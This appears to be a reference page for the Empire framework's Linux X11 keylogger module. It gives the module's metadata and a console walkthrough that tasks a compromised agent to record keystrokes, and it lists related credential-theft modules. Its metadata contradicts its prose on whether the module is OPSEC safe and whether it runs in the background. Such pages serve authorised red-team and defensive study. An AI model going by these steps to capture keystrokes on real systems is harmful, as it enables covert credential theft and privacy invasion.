Keylog - Empire Module
This page contains detailed information about how to use the python/collection/linux/xkeylogger Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Keylog
Module: python/collection/linux/xkeylogger
Source code:
empire/server/modules/python/collection/linux/xkeylogger.yaml
MITRE ATT&CK:
T1056
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: Yes
X userland keylogger based on pupy.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the xkeylogger module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the xkeylogger module:
Agent
Agent to keylog.
Xkeylogger Example Usage
Here's an example of how to use the xkeylogger module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/collection/linux/xkeylogger
Author Nikaiw
Background True
Comments WIP, might miss some keys, can't kill agent sometimes
Description X userland keylogger based on pupy
Language python
Name python/collection/linux/xkeylogger
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1056
,Record Options-,----------,------------------,
| Name | Value | Required | Description |
|-------|-------|----------|------------------|
| Agent | | True | Agent to keylog. |
'-------'-------'----------'------------------'
(Empire: usemodule/python/collection/linux/xkeylogger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/linux/xkeylogger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
- Nikaiw
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/collection/linux/xkeylogger.yaml
- http://attack.mitre.org/techniques/T1056
- https://github.com/amoffat/pykeylogger
- https://raw.githubusercontent.com/substack/node-keysym/master/data/keysyms.txt
See Also
Check also the following modules related to this module:
- python/collection/linux/sniffer
- python/collection/linux/hashdump
- python/collection/linux/pillage_user
- python/collection/linux/mimipenguin
- python/collection/linux/keylogger
- python/privesc/linux/linux_priv_checker
- python/privesc/linux/unix_privesc_check
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.